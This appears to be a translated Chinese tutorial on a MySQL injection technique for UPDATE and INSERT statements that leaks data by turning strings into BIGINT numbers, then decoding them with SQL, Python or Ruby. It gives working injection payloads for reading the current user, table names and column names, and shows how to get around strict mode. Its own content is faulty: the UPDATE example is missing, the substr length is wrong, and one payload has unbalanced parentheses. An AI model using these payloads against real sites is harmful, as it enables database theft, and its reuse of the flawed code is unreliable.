一種新的MySQL下Update、Insert注入方法
一、前言
目前我們一般通過報(bào)錯(cuò)和時(shí)間盲注來對update和insert語句進(jìn)行SQL注入,下面我們來講解一種新的獲取數(shù)據(jù)的方法。
首先我們來看一個(gè)簡單的例子,假設(shè)應(yīng)用會(huì)將username字段的結(jié)果會(huì)返回給我們:
- $query = "UPDATE users SET username = '$username' WHERE id = '$id';";
HTTP應(yīng)用中的參數(shù)是這樣的:
- username=test&id=16
我最近研究的帶內(nèi),帶外攻擊技巧剛好適用于這個(gè)場景,要理解我的技巧,我們可以先看下Mysql 是如何處理字符串的。在Mysql 中一個(gè)字符串等于 ‘0’,我們來看一下:
假如我們把字符串和數(shù)字相加,結(jié)果和0 加這個(gè)數(shù)字一樣:
Mysql的這個(gè)屬性給了我一些靈感,我們來看看BIGINT的最大值加上一個(gè)字符串會(huì)怎樣?
結(jié)果是 ‘1.8446744073709552e19’,這表明字符串實(shí)際上作為八字節(jié)的DOUBEL類型來處理。
將一個(gè)DOUBLE類型和大數(shù)字相加會(huì)返回IEEE格式的值,為了解決這個(gè)問題我們可以使用OR。
現(xiàn)在我們得到了最大的64bit無符號(hào)的BIGINT值0xffffffffffffffff。我們需要注意通過OR獲取數(shù)據(jù)時(shí),這個(gè)值必須小于BIGINT(不能超過64bit)。
二、轉(zhuǎn)換字符串為數(shù)字
為了獲取數(shù)據(jù)我們可以將應(yīng)用輸出的字段轉(zhuǎn)換為數(shù)字,然后再解碼回來,如下步驟:
- String -> Hexadecimal -> Decimal
通過SQL,Python和Ruby等語言我們可以將數(shù)字轉(zhuǎn)回字符串,如下:
- Decimal -> Hexadecimal -> String
如上面提到的,Mysql中的最大值為BIGINT,我們不能超過它,也就是說每次提取的字符串不能超過8位。
4702111234474983745可以被解碼為AAAAAAAA,如果再加一個(gè)A,我們就不能正確解碼了,因?yàn)榉祷氐慕Y(jié)果會(huì)是無符號(hào)的BIGINT值0xffffffffffffffff。
如果需要獲取的數(shù)據(jù)超過8個(gè)字節(jié),我們需要使用substr()方法來將數(shù)據(jù)分片。
- select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
n的取值為1、2、3…比如我們要獲取的username長度超過8個(gè)字符,我們首先獲取前八個(gè)字符,然后繼續(xù)獲取后面的8個(gè)直到得到NULL。
最后我們把user()函數(shù)獲得的數(shù)據(jù)解碼。
三、注入技巧
1. 獲取表名
- select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
2. 獲取列名
- select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
3. 利用UPDATE語句
下面我們通過一個(gè)例子來說明如何利用更新語句。
實(shí)際的查詢語句可能是這樣的:
4. 利用INSERT語句
原始SQL語句如下:
- insert into users values (17,'james', 'bond');
我們可以像update語句中一樣獲取數(shù)據(jù):
- insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);
MySQL 5.7中的限制
你可能注意到這種方法在MySQL 5.7.5之后的版本并不奏效。
通過研究MySQL 5.7發(fā)現(xiàn)Mysql服務(wù)器默認(rèn)運(yùn)行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默認(rèn)的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我們不能將integer轉(zhuǎn)換為string。
為了解決這個(gè)問題,我們需要在注入時(shí)一直使用一個(gè)integer類型,這樣就不會(huì)有任何問題了。
另外任何用戶都可以在他的會(huì)話里關(guān)閉‘Strict Mode’。
如果想設(shè)置影響所有客戶端的全局屬性需要SUPER權(quán)限。
開發(fā)者也可以使用‘IGNORE’關(guān)鍵字來忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。
四、解碼Decoding
SQL
- select unhex(conv(value, 10, 16));
Python
- dec = lambda x:("%x"%x).decode('hex')
Ruby
- dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或
- dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") }